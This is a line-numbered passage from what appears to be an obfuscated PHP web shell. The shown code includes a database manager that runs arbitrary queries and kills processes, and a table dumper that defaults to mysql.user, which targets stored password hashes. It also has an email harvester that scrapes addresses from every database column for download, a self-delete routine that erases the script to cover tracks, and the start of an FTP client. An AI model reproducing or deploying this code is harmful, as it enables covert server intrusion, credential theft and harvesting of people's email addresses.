9038 "table_act", "sql_db", "sel_table", "sql_page", "sql_sort" => ($psql_sort[0] ==
9039 "$i" ? "$i" . ($psql_sort[1] == "a" ? "d" : "a") : "$i" . $psql_sort[1])), z8v($sql->
9040 columns[$i] . ($psql_sort[0] == "$i" ? ' ' . ($psql_sort[1] == "a" ? '↑' :
9041 '↓') : ''), '3')), "13", ($i == (@count($sql->columns) - 1) ? '3' : ''));
9042 }
9043 echo z7u();
9044 $print_arr = array();
9045 for ($i = 0; $i < $sql->num_rows; $i++) {
9046 if (@is_array($sql->rows[$i])) {
9047 $tmparr = array();
9048 foreach ($sql->rows[$i] as $rk => $rv) {
9049 $tmparr[] = $rv;
9050 }
9051 $print_arr[] = $tmparr;
9052 }
9053 }
9054 @usort($print_arr, "z3i");
9055 if ($psql_sort[1] == "d") {
9056 $print_arr = @array_reverse($print_arr);
9057 }
9058 for ($i = 0; $i < @count($print_arr); $i++) {
9059 echo z6g(($i % 2 ? '0' : '1'));
9060 $cr = 0;
9061 foreach ($print_arr[$i] as $rv) {
9062 $w = "";
9063 for ($a = 0; $a < $sql->num_fields; $a++) {
9064 $w .= " `" . $sql->columns[$a] . "` = '" . @addslashes($print_arr[$i][$a]) .
9065 "' AND";
9066 }
9067 if ($a > 0)
9068 $w = @substr($w, 0, @strlen($w) - 3);
9069 echo ($cr == 0 ? z9j("<nobr>" . z5c(array("act" => "sql", "d", "sql_server",
9070 "sql_user", "sql_pass", "sql_port", "sql_engine", "sql_act" => "table_act",
9071 "sql_db", "sel_table", "sql_tbl_insert_q" => $w), z4a("table_act", array("insert" =>
9072 "Edit", "delete" => "Delete"), "3") . z8v("»", "6")) . "</nobr>", "14",
9073 "28") : "") . z9j((@is_null($rv) ? 'NULL' : @htmlspecialchars($rv)), "14", ($cr ==
9074 (@count($print_arr[$i]) - 1) ? '3' : ''));
9075 $cr++;
9076 }
9077 echo z7u();
9078 }
9079 echo z10w() . z7g() . z7u() . z10w() . z5j() . z7g() . z7u() . z10w();
9080 }
9081 }
9082 } elseif ($sql_act == "db_act" && @isset($db_act) && $db_act == "select" && @
9083 isset($sql_db) && !@empty($sql_db)) {
9084 echo z2b(z9s("366", $sql_db), "1");
9085 $sql->query('SHOW TABLE STATUS;');
9086 if ($sql->get_result()) {
9087 $psql_sort = z5r($sql_sort);
9088 if ($psql_sort[1] != 'a') {
9089 $psql_sort[1] = 'd';
9090 } else {
9091 $psql_sort[1] = 'a';
9092 }
9093 if ($psql_sort[0] >= $sql->num_fields)
9094 $psql_sort[0] = '0';
9095 $v = $psql_sort[0];
9096 echo z9m('2') . z7p() . z7k() . z5x('', "0") . z9m("2") . z7p() . z7k();
9097 echo z9m('2') . z6g();
9098 for ($i = 0; $i < $sql->num_fields; $i++) {
9099 echo z9j(z5c(array("act" => "sql", "d", "sql_server", "sql_user", "sql_pass",
9100 "sql_port", "sql_engine", "sql_act", "db_act", "sql_db", "sel_table", "sql_page",
9101 "sql_sort" => ($psql_sort[0] == "$i" ? "$i" . ($psql_sort[1] == "a" ? "d" : "a") :
9102 "$i" . $psql_sort[1])), z8v(($i == 0 ? "Table " : "") . $sql->columns[$i] . ($psql_sort[0] ==
9103 "$i" ? ' ' . ($psql_sort[1] == "a" ? '↑' : '↓') : ''), '3')), "13", ($i ==
9104 0 ? "2" : ($i == ($sql->num_fields - 1) ? '3' : ''))) . ($i == 0 ? z9j(z9s("369"),
9105 "13", "8") : '');
9106 }
9107 echo z7u();
9108 $print_arr = array();
9109 for ($i = 0; $i < $sql->num_rows; $i++) {
9110 if (@is_array($sql->rows[$i])) {
9111 $tmparr = array();
9112 foreach ($sql->rows[$i] as $rk => $rv) {
9113 $tmparr[] = $rv;
9114 }
9115 $print_arr[] = $tmparr;
9116 }
9117 }
9118 @usort($print_arr, "z3i");
9119 if ($psql_sort[1] == "d") {
9120 $print_arr = @array_reverse($print_arr);
9121 }
9122 for ($i = 0; $i < @count($print_arr); $i++) {
9123 echo z6g(($i % 2 ? '0' : '1'));
9124 $cr = 0;
9125 foreach ($print_arr[$i] as $rv) {
9126 echo z9j((@is_null($rv) ? 'NULL' : ($cr == 0 ? "<nobr>" . z5c(array("act" =>
9127 "sql", "sql_server", "sql_user", "sql_pass", "sql_port", "sql_engine", "d",
9128 "sql_act" => "table_act", "sql_db", "sel_table" => $rv, "table_act" => "browse"),
9129 z8v($rv, "11")) . "</nobr>" : @htmlspecialchars($rv))), "14", ($cr == 0 ? '2' :
9130 ($cr == (@count($print_arr[$i]) - 1) ? '3' : '')));
9131 if ($cr == 0)
9132 echo z9j("<nobr>" . z5c(array("act" => "sql", "d", "sql_server", "sql_user",
9133 "sql_pass", "sql_port", "sql_engine", "sql_act" => "table_act", "sql_db",
9134 "sel_table" => $rv), z4a("table_act", $table_actions, "3") . z8v("»", "6")) .
9135 "</nobr>", "14", "8");
9136 $cr++;
9137 }
9138 echo z7u();
9139 }
9140 echo z10w() . z7g() . z7u() . z10w() . z5j() . z7g() . z7u() . z10w();
9141 }
9142 }
9143 }
9144 if ($sql_act == "query") {
9145 echo z2b(z9s("370"));
9146 echo z9m("2") . z5c(array("act" => "sql", "d", "sql_server", "sql_user",
9147 "sql_pass", "sql_port", "sql_engine", "sql_act" => "query", "query_confirm" =>
9148 "1"), z5n() . z7i(z5t(z9s("364")) . z9j(z5u("sql_db", "", "7"))) . z9f(z5t(z9s("370")) .
9149 z9j(z5w("sql_query", "5") . (@isset($sql_query) ? @htmlspecialchars($sql_query) :
9150 "") . z5q())) . z7i(z5t(z9c()) . z9j(z8v(z9s("371"), "7"))) . z5n()) . z10w();
9151 if (@isset($query_confirm) && $query_confirm) {
9152 if (@isset($sql_db) && !@empty($sql_db)) {
9153 $sql->base = $sql_db;
9154 if (!$sql->select_db()) {
9155 echo z2b(z9s("447"));
9156 }
9157 }
9158 $q_sql_error = '';
9159 $q_sql_result = '';
9160 if (@strlen($sql_query) > 5) {
9161 $q_sql_result .= z2b(z9s("394"));
9162 switch ($sql->query($sql_query)) {
9163 case '0':
9164 $q_sql_result .= z2b("ERROR : " . $sql->error);
9165 break;
9166 case '1':
9167 if ($sql->get_result()) {
9168 $q_sql_result .= z9m('2') . z7p() . z7k() . z5x('', "0") . z9m("2") . z7p() .
9169 z7k();
9170 foreach ($sql->columns as $k => $v)
9171 $sql->columns[$k] = @htmlspecialchars($v, ENT_QUOTES);
9172 $keys = "";
9173 $count_keys = @count($sql->columns);
9174 $key_num = 0;
9175 foreach ($sql->columns as $column) {
9176 if ($key_num == 0) {
9177 $keys .= z9j($column, "13", "02");
9178 } elseif ($key_num == ($count_keys - 1)) {
9179 $keys .= z9j($column, "13", "03");
9180 } else {
9181 $keys .= z9j($column, "13", "0");
9182 }
9183 $key_num++;
9184 }
9185 $q_sql_result .= z7i($keys);
9186 for ($i = 0; $i < $sql->num_rows; $i++) {
9187 foreach ($sql->rows[$i] as $k => $v)
9188 $sql->rows[$i][$k] = @htmlspecialchars($v, ENT_QUOTES);
9189 $values = "";
9190 $count_values = @count($sql->rows[$i]);
9191 $value_num = 0;
9192 foreach ($sql->rows[$i] as $row) {
9193 if ($value_num == 0) {
9194 $values .= z9j($row, "14", "2");
9195 } elseif ($value_num == ($count_values - 1)) {
9196 $values .= z9j($row, "14", "3");
9197 } else {
9198 $values .= z9j($row, "14");
9199 }
9200 $value_num++;
9201 }
9202 $q_sql_result .= z7i($values, ($i % 2 ? '0' : '1'));
9203 }
9204 $q_sql_result .= z7g() . z7u() . z10w() . z5j() . z7g() . z7u() . z10w();
9205 }
9206 break;
9207 case '2':
9208 $ar = $sql->affected_rows() ? ($sql->affected_rows()) : ('0');
9209 $q_sql_result .= z2b("AFFECTED ROWS: " . $ar);
9210 break;
9211 }
9212 }
9213 if ($q_sql_result != '') {
9214 echo $q_sql_result;
9215 $q_sql_result = '';
9216 }
9217 }
9218 }
9219 if ($sql_act == "emails") {
9220 $emails = array();
9221 if (!@isset($emails_filename))
9222 $emails_filename = $tempdir . "emails_" . @getenv("SERVER_NAME") . "_db_" . @
9223 date("d-m-Y_H-i-s") . ".txt";
9224 if (@isset($sql_db) && !@empty($sql_db)) {
9225 $sql->base = $sql_db;
9226 if ($sql->select_db()) {
9227 $table_list = array();
9228 $sql->query('SHOW TABLES FROM ' . $sql_db . ';');
9229 if ($sql->get_result()) {
9230 for ($i = 0; $i < $sql->num_rows; $i++) {
9231 foreach ($sql->rows[$i] as $rk => $rv) {
9232 $table_list[] = $rv;
9233 }
9234 }
9235 }
9236 }
9237 }
9238 if (!@isset($sql_tables) || @empty($sql_tables)) {
9239 if (@isset($sel_table) && !@empty($sel_table)) {
9240 $sql_tables = $sel_table;
9241 } else {
9242 $sql_tables = (@count($table_list) > 0 ? @implode(",", $table_list) : "");
9243 }
9244 } elseif (@isset($table_list) && @is_array($table_list)) {
9245 $tmp_tables = @explode(",", $sql_tables);
9246 $sql_tables = "";
9247 foreach ($tmp_tables as $tmp_table) {
9248 $tmp_table = @trim($tmp_table);
9249 if (@in_array($tmp_table, $table_list)) {
9250 $sql_tables .= $tmp_table . ",";
9251 } else {
9252 break;
9253 }
9254 }
9255 if (@empty($sql_tables))
9256 $sql_tables = @implode(",", $table_list);
9257 }
9258 echo z2b(z9s("372"));
9259 echo z9m("2") . z5c(array("act" => "sql", "d", "sql_server", "sql_user",
9260 "sql_pass", "sql_port", "sql_engine", "sql_act" => "emails", "dump_confirm" =>
9261 "1"), z5n() . z7i(z5t(z9s("364")) . z9j(z4a("sql_db", $db_list, "7", 1))) . z7i
9262 (z5t(z9s("373")) . z9j(z5w("sql_tables", "5") . (@isset($sql_tables) ? @
9263 htmlspecialchars($sql_tables) : "") . z5q())) . z7i(z5t(z9s("374")) . z9j(z5u("emails_filename",
9264 $emails_filename, "7"))) . z7i(z5t(z9c()) . z9j(z5y("sql_save2file", z9s("375"),
9265 "sql_save2file") . z9c() . z5y("sql_download", z9s("376"), "sql_download"))) .
9266 z7i(z5t(z9c()) . z9j(z8v(z9s("377"), "7"))) . z5n()) . z10w();
9267 if (@isset($dump_confirm) && $dump_confirm) {
9268 $fp = 0;
9269 if (@isset($sql_save2file) && $sql_save2file == "1" && @isset($dump_filename) &&
9270 !@empty($dump_filename)) {
9271 $fp = @fopen($emails_filename, "w");
9272 }
9273 $dumping_arr = array();
9274 $tmp_tables = @explode(",", $sql_tables);
9275 foreach ($tmp_tables as $tmp_table) {
9276 $tmp_table = @trim($tmp_table);
9277 $dumping_arr[] = $tmp_table;
9278 }
9279 $dumping_arr = @array_unique($dumping_arr);
9280 $sql->base = $sql_db;
9281 if (!$sql->select_db()) {
9282 echo z2b(z9s("447"));
9283 } elseif (@count($dumping_arr) < 1) {
9284 echo z2b(z9s("448"));
9285 } else {
9286 foreach ($dumping_arr as $dump_table) {
9287 if ($sql->parse_fields($dump_table)) {
9288 foreach ($sql->columns as $ck => $cv) {
9289 if ($sql->query("SELECT " . $cv . " FROM " . $dump_table . " WHERE " . $cv .
9290 " REGEXP '^[^@]+@[^@]+\.[^@]{2,}$';")) {
9291 if ($sql->get_result()) {
9292 for ($i = 0; $i < $sql->num_rows; $i++) {
9293 $tmpmails = z3v($sql->rows[$i][$cv]);
9294 if (@count($tmpmails) > 0) {
9295 foreach ($tmpmails as $mtmp)
9296 $emails[] = $mtmp;
9297 }
9298 }
9299 }
9300 }
9301 }
9302 }
9303 }
9304 $emails = @array_unique($emails);
9305 if (@count($emails) > 0) {
9306 $maildump = @implode("\r\n", $emails);
9307 if (@isset($sql_download) && $sql_download == "1") {
9308 @ob_clean();
9309 @header("Content-type: application/octet-stream");
9310 @header("Content-length: " . @strlen($maildump));
9311 @header("Content-disposition: attachment; filename=\"" . @basename($emails_filename) .
9312 "\";");
9313 echo $maildump;
9314 exit();
9315 }
9316 if (!@isset($sql_save2file) || $sql_save2file != "1") {
9317 echo z9m('2') . z6g() . z6w() . z5w('', '1') . @htmlspecialchars($maildump) .
9318 z5q() . z7g() . z7u() . z10w() . z6d();
9319 } elseif ($fp || @function_exists('file_put_contents')) {
9320 if (@fwrite($fp, $maildump) or @fputs($fp, $maildump) or @file_put_contents($emails_filename,
9321 $maildump)) {
9322 echo z2b(z9s("449", $emails_filename));
9323 } else {
9324 echo z2b(z9s("450"));
9325 }
9326 } else {
9327 echo z2b(z9s("450"));
9328 }
9329 }
9330 }
9331 }
9332 }
9333 if ($sql_act == "serverstatus") {
9334 echo z2b(z9s("378"), "1");
9335 $sql->query("SHOW STATUS");
9336 if ($sql->get_result()) {
9337 echo z9m('2') . z7i(z9j(z9s("380"), "13", "2") . z9j(z9s("381"), "13", "3"));
9338 for ($i = 0; $i < $sql->num_rows; $i++) {
9339 echo z6g(($i % 2 ? '0' : '1'));
9340 $cr = 0;
9341 foreach ($sql->rows[$i] as $rk => $rv) {
9342 echo z9j($rv, "14", ($cr == 0 ? '25' : ($cr == (@count($sql->rows[$i]) - 1) ?
9343 '3' : '')));
9344 $cr++;
9345 }
9346 echo z7u();
9347 }
9348 echo z10w();
9349 }
9350 }
9351 if ($sql_act == "servervars") {
9352 echo z2b(z9s("379"), "1");
9353 $sql->query("SHOW VARIABLES");
9354 if ($sql->get_result()) {
9355 echo z9m('2') . z7i(z9j(z9s("380"), "13", "2") . z9j(z9s("381"), "13", "3"));
9356 for ($i = 0; $i < $sql->num_rows; $i++) {
9357 echo z6g(($i % 2 ? '0' : '1'));
9358 $cr = 0;
9359 foreach ($sql->rows[$i] as $rk => $rv) {
9360 echo z9j($rv, "14", ($cr == 0 ? '25' : ($cr == (@count($sql->rows[$i]) - 1) ?
9361 '3' : '')));
9362 $cr++;
9363 }
9364 echo z7u();
9365 }
9366 echo z10w();
9367 }
9368 }
9369 if ($sql_act == "processes") {
9370 if (@isset($kill) && !@empty($kill)) {
9371 $query = "KILL " . $kill . ";";
9372 $sql->query($query);
9373 echo z2b(z9s("393", $kill), "1");
9374 } else {
9375 echo z2b(z9s("382"), "1");
9376 }
9377 $sql->query("SHOW PROCESSLIST;");
9378 if ($sql->get_result()) {
9379 echo z9m('2') . z7i(z9j(z9s("383"), "13", "2") . z9j(z9s("384"), "13") . z9j(z9s
9380 ("385"), "13") . z9j(z9s("386"), "13") . z9j(z9s("387"), "13") . z9j(z9s("388"),
9381 "13") . z9j(z9s("389"), "13") . z9j(z9s("390"), "13") . z9j(z9s("391"), "13",
9382 "3"));
9383 for ($i = 0; $i < $sql->num_rows; $i++) {
9384 echo z6g(($i % 2 ? '0' : '1'));
9385 $cr = 0;
9386 $pid = '';
9387 foreach ($sql->rows[$i] as $rk => $rv) {
9388 echo z9j($rv, "14", ($cr == 0 ? '5' : ''));
9389 if ($cr == 0)
9390 $pid = $rv;
9391 $cr++;
9392 }
9393 echo z9j(z5c(array("act" => "sql", "d", "sql_server", "sql_user", "sql_pass",
9394 "sql_port", "sql_engine", "sql_act" => "processes", "kill" => $pid), z8v(z9s("392"),
9395 "7")), "14");
9396 echo z7u();
9397 }
9398 echo z10w();
9399 }
9400 }
9401 if ($sql_act == "showdb") {
9402 $psql_sort = z5r($sql_sort);
9403 if ($psql_sort[1] != 'a')
9404 $psql_sort[1] = 'd';
9405 if ($psql_sort[0] > 2)
9406 $psql_sort[0] = '0';
9407 $v = $psql_sort[0];
9408 echo z2b(z9s("359"), "1");
9409 echo z9m('2');
9410 echo z7i(z9j(z5c(array("act" => "sql", "d", "sql_server", "sql_user", "sql_pass",
9411 "sql_port", "sql_engine", "sql_sort" => ($psql_sort[0] == '0' ? '0' . ($psql_sort[1] ==
9412 "a" ? "d" : "a") : '0' . $psql_sort[1])), z8v(z9s("360") . ($psql_sort[0] == '0' ?
9413 ' ' . ($psql_sort[1] == "a" ? '↑' : '↓') : ''), '3')), "13", "2") .
9414 z9j(z5c(array("act" => "sql", "d", "sql_server", "sql_user", "sql_pass",
9415 "sql_port", "sql_engine", "sql_sort" => ($psql_sort[0] == '1' ? '1' . ($psql_sort[1] ==
9416 "a" ? "d" : "a") : '1' . $psql_sort[1])), z8v(z9s("361") . ($psql_sort[0] == '1' ?
9417 ' ' . ($psql_sort[1] == "a" ? '↑' : '↓') : ''), '3')), "13") . z9j(z5c
9418 (array("act" => "sql", "d", "sql_server", "sql_user", "sql_pass", "sql_port",
9419 "sql_engine", "sql_sort" => ($psql_sort[0] == '2' ? '2' . ($psql_sort[1] == "a" ?
9420 "d" : "a") : '2' . $psql_sort[1])), z8v(z9s("362") . ($psql_sort[0] == '2' ? ' ' .
9421 ($psql_sort[1] == "a" ? '↑' : '↓') : ''), '3')), "13") . z9j(z9s("363"),
9422 "13", "3"));
9423 if (@count($db_list) > 1) {
9424 $def_db = $sql->base;
9425 $total_tables = 0;
9426 $total_size = 0;
9427 $print_arr = array();
9428 foreach ($sql->list_dbs() as $k => $kv) {
9429 $sql->base = $k;
9430 $tables = "0";
9431 $size = "0";
9432 if ($sql->select_db()) {
9433 $sql->query("SHOW TABLES;");
9434 if ($sql->get_result())
9435 $tables = $sql->num_rows;
9436 $sql->query("SELECT round(data_length + index_length) FROM information_schema.TABLES WHERE table_schema = \"" .
9437 $k . "\";");
9438 if ($sql->get_result())
9439 $size = @implode('', $sql->rows[0]);
9440 }
9441 $print_arr[] = array($k, $size, $tables);
9442 $total_tables += $tables;
9443 $total_size += $size;
9444 }
9445 $sql->base = $def_db;
9446 $sql->select_db();
9447 }
9448 if (@count($print_arr) > 0) {
9449 $count = 0;
9450 @usort($print_arr, "z3i");
9451 if ($psql_sort[1] == "d") {
9452 $print_arr = @array_reverse($print_arr);
9453 }
9454 foreach ($print_arr as $ar) {
9455 echo z7i(z9j(z5c(array("act" => "sql", "sql_server", "sql_user", "sql_pass",
9456 "sql_port", "sql_engine", "sql_act" => "db_act", "db_act" => "select", "d",
9457 "sql_db" => $ar[0]), z8v($ar[0], "11")), "14", "2") . z9j(z7c($ar[1]), "14") .
9458 z9j($ar[2], "14") . z9j("<nobr>" . z5c(array("act" => "sql", "d", "sql_server",
9459 "sql_user", "sql_pass", "sql_port", "sql_engine", "sql_act" => "db_act",
9460 "sql_db" => $ar[0]), z4a("db_act", $db_actions, "3") . z8v("»", "6")) .
9461 "</nobr>", "14", "38"), ($count % 2 ? '0' : '1'));
9462 $count++;
9463 }
9464 echo z7i(z9j(z8e(z9s("409", $count)), "13", "2") . z9j(z7c($total_size), "13") .
9465 z9j($total_tables, "13") . z9j(z9c(), "13", "3"));
9466 }
9467 echo z10w();
9468 }
9469 }
9470 } else {
9471 $hmsg = z9s("191");
9472 }
9473 }
9474 if (!$hideconnect) {
9475 if (!@isset($q_sql_query))
9476 $q_sql_query = "SHOW DATABASES;\nSELECT * FROM user;";
9477 if (!@isset($q_sql_filename))
9478 $q_sql_filename = $tempdir . "dump_" . @getenv("SERVER_NAME") . "_db_" . @date("d-m-Y_H-i-s") .
9479 ".sql";
9480 $available_arr = array();
9481 if ($bmysql)
9482 $available_arr["MySQL"] = "MySQL";
9483 if ($bmssql)
9484 $available_arr["MSSQL"] = "MSSQL";
9485 if ($bpostgres)
9486 $available_arr["PostgreSQL"] = "PostgreSQL";
9487 if ($boracle)
9488 $available_arr["Oracle"] = "Oracle";
9489 echo z2b(z9s("451") . ($hmsg != '' ? ' : ' . $hmsg : ''));
9490 echo z9m('2') . z5c(array("act" => "sql", "d"), z5n() . z7i(z7e(z8e(z9s("452"))) .
9491 z7l(z5u("sql_server", "127.0.0.1", "4") . ":" . z5u("sql_port", "3306", "1")) .
9492 z7e(z8e(z9s("453"))) . z7l(z5u("sql_user", "root", "4")) . z7e(z8e(z9s("454"))) .
9493 z7l(z5u("sql_pass", "", "4")) . z7e(z8e(z9s("455"))) . z7l(z5u("sql_db", "", "4")) .
9494 z7e(z8e(z9s("456"))) . z7l(z4a("sql_engine", array("MySQL" => "MySQL"), "4", 1) .
9495 z8v(z9s("457"), "7")))) . z10w();
9496 echo z6d();
9497 echo z2b(array(z9s("410"), z9s("420")), '46');
9498 echo z9m('2') . z9f(z9j(z5c(array("act" => "sql", "d", "q_sql_action" => "dump"),
9499 z9m() . z5n() . z7i(z5t(z9s("411")) . z9j(z4a("q_sql_engine", $available_arr,
9500 "4", 1))) . z7i(z5t(z9s("412")) . z9j(z5u("q_sql_server", "127.0.0.1", '4') .
9501 ":" . z5u("q_sql_port", "3306", "1"))) . z7i(z5t(z9s("413")) . z9j(z5u("q_sql_user",
9502 "root", "4") . ":" . z5u("q_sql_pass", "", "4"))) . z7i(z5t(z9s("414")) . z9j(z5u
9503 ("q_sql_db", "mysql", "4") . "." . z5u("q_sql_table", "user", "4"))) . z7i(z5t(z9s
9504 ("415")) . z9j(z5u("q_sql_filename", $q_sql_filename, "8"))) . z7i(z5t(z9c()) .
9505 z9j(z5y("q_sql_download", z9s("416"), "q_sql_download"))) . z7i(z5t(z9c()) . z9j
9506 (z5y("q_sql_save2file", z9s("417"), "q_sql_save2file"))) . z7i(z5t(z9c()) . z9j
9507 (z8v(z9s("418"), "7"))) . z5n() . z10w()), '', '4') . z9j(z5c(array("act" =>
9508 "sql", "d", "q_sql_action" => "query"), z9m() . z5n() . z7i(z5t(z9s("411")) .
9509 z9j(z4a("q_sql_engine", $available_arr, "4", 1))) . z7i(z5t(z9s("412")) . z9j(z5u
9510 ("q_sql_server", "127.0.0.1", "4") . ":" . z5u("q_sql_port", "3306", "1"))) .
9511 z7i(z5t(z9s("413")) . z9j(z5u("q_sql_user", "root", "4") . ":" . z5u("q_sql_pass",
9512 "", "4"))) . z7i(z5t(z9s("421")) . z9j(z5u("q_sql_db", "mysql", "4"))) . z9f(z5t
9513 (z9s("370")) . z9j(z5w("q_sql_query", "4") . @htmlspecialchars($q_sql_query) .
9514 z5q())) . z7i(z5t(z9c()) . z9j(z8v(z9s("422"), "7"))) . z5n() . z10w()), '',
9515 "46")) . z10w();
9516 if (@isset($q_sql_action) && $q_sql_action == "query") {
9517 $sql = new my_sql();
9518 $sql->db = $q_sql_engine;
9519 $sql->host = $q_sql_server;
9520 $sql->port = $q_sql_port;
9521 $sql->user = $q_sql_user;
9522 $sql->pass = $q_sql_pass;
9523 $sql->base = $q_sql_db;
9524 $querys = @explode(';', $q_sql_query);
9525 $q_sql_connect_error = "";
9526 $q_sql_error = '';
9527 $q_sql_result = '';
9528 if (!$sql->connect())
9529 $q_sql_connect_error = z2b(z9s("419"));
9530 else {
9531 if (!empty($sql->base) && !$sql->select_db())
9532 $q_sql_connect_error = z2b(z9s("447"));
9533 else {
9534 foreach ($querys as $num => $query) {
9535 if (@strlen($query) > 5) {
9536 $q_sql_result .= z2b(z9s("423", array($num, @htmlspecialchars($query, ENT_QUOTES))));
9537 switch ($sql->query($query)) {
9538 case '0':
9539 $q_sql_result .= z2b("ERROR : " . $sql->error);
9540 break;
9541 case '1':
9542 if ($sql->get_result()) {
9543 $q_sql_result .= z9m('2') . z7p() . z7k() . z5x('', "0") . z9m("2") . z7p() .
9544 z7k();
9545 foreach ($sql->columns as $k => $v)
9546 $sql->columns[$k] = @htmlspecialchars($v, ENT_QUOTES);
9547 $keys = "";
9548 $count_keys = @count($sql->columns);
9549 $key_num = 0;
9550 foreach ($sql->columns as $column) {
9551 if ($key_num == 0) {
9552 $keys .= z9j($column, "13", "02");
9553 } elseif ($key_num == ($count_keys - 1)) {
9554 $keys .= z9j($column, "13", "03");
9555 } else {
9556 $keys .= z9j($column, "13", "0");
9557 }
9558 $key_num++;
9559 }
9560 $q_sql_result .= z7i($keys);
9561 for ($i = 0; $i < $sql->num_rows; $i++) {
9562 foreach ($sql->rows[$i] as $k => $v)
9563 $sql->rows[$i][$k] = @htmlspecialchars($v, ENT_QUOTES);
9564 $values = "";
9565 $count_values = @count($sql->rows[$i]);
9566 $value_num = 0;
9567 foreach ($sql->rows[$i] as $row) {
9568 if ($value_num == 0) {
9569 $values .= z9j($row, "14", "2");
9570 } elseif ($value_num == ($count_values - 1)) {
9571 $values .= z9j($row, "14", "3");
9572 } else {
9573 $values .= z9j($row, "14");
9574 }
9575 $value_num++;
9576 }
9577 $q_sql_result .= z7i($values, ($i % 2 ? '0' : '1'));
9578 }
9579 $q_sql_result .= z7g() . z7u() . z10w() . z5j() . z7g() . z7u() . z10w();
9580 }
9581 break;
9582 case '2':
9583 $ar = $sql->affected_rows() ? ($sql->affected_rows()) : ('0');
9584 $q_sql_result .= z2b("AFFECTED ROWS: " . $ar);
9585 break;
9586 }
9587 }
9588 if ($q_sql_result != '') {
9589 echo $q_sql_result;
9590 $q_sql_result = '';
9591 }
9592 }
9593 }
9594 }
9595 if ($q_sql_connect_error != "") {
9596 echo $q_sql_connect_error;
9597 }
9598 }
9599 if (@isset($q_sql_action) && $q_sql_action == "dump") {
9600 $fp = 0;
9601 if (@isset($q_sql_save2file) && $q_sql_save2file == "1" && @isset($q_sql_filename) &&
9602 !@empty($q_sql_filename)) {
9603 if (z4q($q_sql_filename))
9604 @unlink($q_sql_filename);
9605 $fp = @fopen($q_sql_filename, "a");
9606 }
9607 $q_sql_filename = @str_replace("_db_", "_" . $q_sql_db . "_", $q_sql_filename);
9608 $sql = new my_sql();
9609 $sql->db = $q_sql_engine;
9610 $sql->host = $q_sql_server;
9611 $sql->port = $q_sql_port;
9612 $sql->user = $q_sql_user;
9613 $sql->pass = $q_sql_pass;
9614 $sql->base = $q_sql_db;
9615 $q_sql_dumped = "";
9616 if (!$sql->connect()) {
9617 echo z2b(z9s("419"));
9618 } elseif (!$sql->select_db()) {
9619 echo z2b(z9s("447"));
9620 } elseif (!$sql->dump($q_sql_table)) {
9621 echo z2b(z9s("458"));
9622 } else {
9623 if (@isset($q_sql_download) && $q_sql_download == "1") {
9624 @ob_clean();
9625 @header("Content-type: application/octet-stream");
9626 @header("Content-disposition: attachment; filename=\"" . @basename($q_sql_filename) .
9627 "\";");
9628 foreach ($sql->dump as $v)
9629 echo $v . "\r\n";
9630 exit();
9631 }
9632 if (!@isset($q_sql_save2file) || $q_sql_save2file != "1") {
9633 echo z9m('2') . z6g() . z6w() . z5w('', '1');
9634 foreach ($sql->dump as $v)
9635 echo @htmlspecialchars($v) . "\r\n";
9636 echo z5q() . z7g() . z7u() . z10w() . z6d();
9637 } else
9638 if ($fp) {
9639 foreach ($sql->dump as $v) {
9640 if (!@fwrite($fp, $v . "\r\n")) {
9641 @fputs($fp, $v . "\r\n");
9642 }
9643 }
9644 if (z4q($q_sql_filename)) {
9645 z2b(z9s("459"));
9646 } else {
9647 echo z2b(z9s("450"));
9648 }
9649 } else {
9650 echo z2b(z9s("450"));
9651 }
9652 }
9653 }
9654 }
9655}
9656if ($act == "selfremove") {
9657 if (@isset($dconfirm) && $dconfirm) {
9658 if ($saddr != "127.0.0.1")
9659 echo z2b((@unlink(__file__) ? z9s("462") : z9s("463", __file__)));
9660 } else {
9661 echo z2b(z9s("460"));
9662 echo z6d() . z10e(z7i(z6x(z8e(z9s("461")) . z5c(array("act" => "selfremove", "d",
9663 "dconfirm" => "1"), z8v(z9s("21"), "7")) . z9c() . z5c($back_form_actions, z8v(z9s
9664 ("22"), '7')))), "2") . z6d();
9665 }
9666}
9667if ($act == 'ftp') {
9668 $a_transfer = array("FTP_BINARY" => "FTP_BINARY", "FTP_ASCII" => "FTP_ASCII");
9669 $hmsg = '';
9670 $hideconnect = 0;
9671 $jsid = 0;
9672 if (@isset($ftp_server) && !@isset($ftp_passive))
9673 $ftp_passive = 0;
9674 if (!@isset($ftp_server) && !@isset($ftp_passive))
9675 $ftp_passive = "1";
9676 if (@isset($ft) && $ft == "logoff") {
9677 if (@isset($_SESSION['ftp_server'])) {
9678 z0u('ftp_current_dir' . $_SESSION['ftp_server']);
9679 }
9680 z0u('ftp_server');
9681 z0u('ftp_username');
9682 z0u('ftp_password');
9683 z0u('ftp_port');
9684 z0u('ftp_passive');
9685 z0u('ftp_session');
9686 }
9687 $ftp_session = 0;
9688 if (@isset($_SESSION['ftp_session'])) {
9689 $ftp_server = $_SESSION['ftp_server'];
9690 $ftp_username = $_SESSION['ftp_username'];
9691 $ftp_password = $_SESSION['ftp_password'];
9692 $ftp_port = $_SESSION['ftp_port'];
9693 $ftp_passive = $_SESSION['ftp_passive'];
9694 $ftp_session = 1;
9695 }
9696 if (!@empty($ftp_server) && !@empty($ftp_port) && !@empty($ftp_username) && !@
9697 empty($ftp_password) && !@isset($ftp_quickaction)) {
9698 $ftp = new ftp($ftp_server, $ftp_port, $ftp_username, $ftp_password, $ftp_passive);
9699 if ($ftp->loggedOn) {
9700 if (!@isset($ftp_current_dir) || @empty($ftp_current_dir)) {
9701 $ftp_current_dir = z1a((@isset($_SESSION['ftp_current_dir' . $ftp_server]) ? $_SESSION['ftp_current_dir' .
9702 $ftp_server] : '/'));
9703 }
9704 if (@isset($rd))
9705 $ftp_current_dir = z1a($ftp_current_dir . $rd);
9706 $ftp->setCurrentDir($ftp_current_dir);
9707 $ftp_current_dir = $ftp->currentDir;
9708 $_SESSION['ftp_current_dir' . $ftp_server] = $ftp_current_dir;
9709 $_SESSION['ftp_server'] = $ftp_server;
9710 $_SESSION['ftp_username'] = $ftp_username;
9711 $_SESSION['ftp_password'] = $ftp_password;
9712 $_SESSION['ftp_port'] = $ftp_port;
9713 $_SESSION['ftp_passive'] = $ftp_passive;
9714 $_SESSION['ftp_session'] = 1;
9715 $hideconnect = 1;
9716 $hmsg = z5c(array("act" => "ftp", "d", "ft" => "logoff"), z8v(z9s("196"), "1"));
9717 } else {
9718 $hmsg = z9s("191");
9719 }
9720 }
9721 if (!@isset($ftp_server) || @empty($ftp_server))
9722 $ftp_server = "127.0.0.1";
9723 if (!@isset($ftp_port) || @empty($ftp_port))
9724 $ftp_port = "21";
9725 if (!@isset($ftp_username) || @empty($ftp_username))
9726 $ftp_username = "anonymous";
